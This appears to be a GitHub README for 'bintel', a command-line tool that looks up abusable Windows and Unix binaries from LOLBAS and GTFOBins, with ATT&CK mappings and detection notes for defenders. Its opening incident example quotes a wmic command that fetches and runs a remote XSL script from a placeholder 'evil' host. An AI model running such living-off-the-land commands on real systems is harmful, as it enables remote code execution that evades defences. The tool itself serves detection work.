Skip to content

pashasec/bintel

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

bintel

Offline CLI for LOLBAS + GTFOBins. Ask "what can this binary be abused for?" and get an answer in your terminal, not in 8 browser tabs.

An incident lands. The command line is wmic.exe os get /format:"http://evil/p.xsl". You need to know — right now — what wmic can do, which ATT&CK technique this maps to, and what detection you should write.

Currently: alt-tab, open lolbas-project.github.io, scroll, ctrl-F, read three sections, copy the ATT&CK ID, alt-tab back.

With bintel:

$ bintel wmic.exe

And you get the abuse techniques, example commands, ATT&CK mappings, and detection notes inline.


Quickstart (zero setup)

Requires Python 3.9+.

git clone https://github.com/pashasec/bintel.git
cd bintel
./run.sh wmic.exe

That's it. run.sh creates a virtualenv on first call, installs deps, runs the tool, and is idempotent — subsequent calls just run.

Windows:

git clone https://github.com/pashasec/bintel.git
cd bintel
run.bat wmic.exe

Out of the box, bintel ships with a curated catalog of 15 of the most operationally important LOTL binaries. Run bintel update once to pull the full ~190 LOLBAS + ~370 GTFOBins entries into your local cache (~/.bintel/cache.json).

Usage

bintel <name>                         # detailed view of one binary
bintel show <name> [--json]           # same as above, explicit
bintel search <query> [--platform windows] [--attck T1218] [--json]
bintel list [--platform linux] [--attck T1059]
bintel update                         # fetch latest LOLBAS + GTFOBins
bintel info                           # catalog + cache stats

Examples

bintel certutil.exe                   # the canonical LOTL downloader
bintel search downloader              # find every entry tagged as a downloader
bintel search xsl --platform windows  # AWL-bypass primitives
bintel list --attck T1218             # every System Binary Proxy Execution variant
bintel list --platform linux --json   # pipe to jq for custom reports

What you get

Field Source
Name + platform (windows / linux) LOLBAS / GTFOBins
Categories (Execution, Download, SUID, Sudo, ...) both
MITRE ATT&CK technique IDs LOLBAS
Abuse techniques: name + command + notes both
Detection guidance (process name, command-line patterns) LOLBAS + curated
Resource links back to upstream both

bintel show <name> --json emits a stable JSON schema you can pipe into SIEM, Splunk, or your own detection-engineering workflow.

Install as a command (optional)

If you want bintel on your PATH instead of ./run.sh:

# Recommended: pipx (managed venv, command available everywhere)
pipx install -e .

# Or: classic virtualenv
python3 -m venv .venv && source .venv/bin/activate
pip install -e .
bintel wmic.exe

PyPI release is planned; for now install from source.

How it works

  • Builtin catalog (bintel/data/builtin.json) — 15 curated entries that ship with the package. Works offline immediately.
  • Update cache (~/.bintel/cache.json) — populated by bintel update, fetched from the public LOLBAS and GTFOBins JSON endpoints. Cache shadows builtin per-name, so updates pick up upstream fixes.
  • Normalized schema — both sources are mapped to the same Binary { categories, attck, functions, detection, resources } shape, so downstream tooling doesn't care where an entry came from.

Tests

pip install -e ".[dev]"
pytest

Roadmap

  • Sigma rule generation from detection field
  • Splunk / Elastic / KQL query generation
  • bintel diff — show what changed between two bintel update runs
  • bintel grep <pattern> — point at a log file, highlight every LOTL invocation found
  • Tab completion for binary names

PRs welcome.

Credits

The catalog content comes from two outstanding community projects that you should star:

  • LOLBAS Project — Windows Living Off The Land Binaries, Scripts and Libraries. Maintained by @Oddvarmoe and contributors.
  • GTFOBins — Unix binaries that can be exploited to bypass local security restrictions. Maintained by @norbemi, @cyrus_and, and contributors.

bintel is a CLI wrapper around their work. The research and catalog they maintain is what makes this tool useful.

License

MIT — see LICENSE.


Part of the 30 tools in 30 days challenge.

About

Offline CLI for LOLBAS + GTFOBins. 'What can this binary be abused for?' in your terminal.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors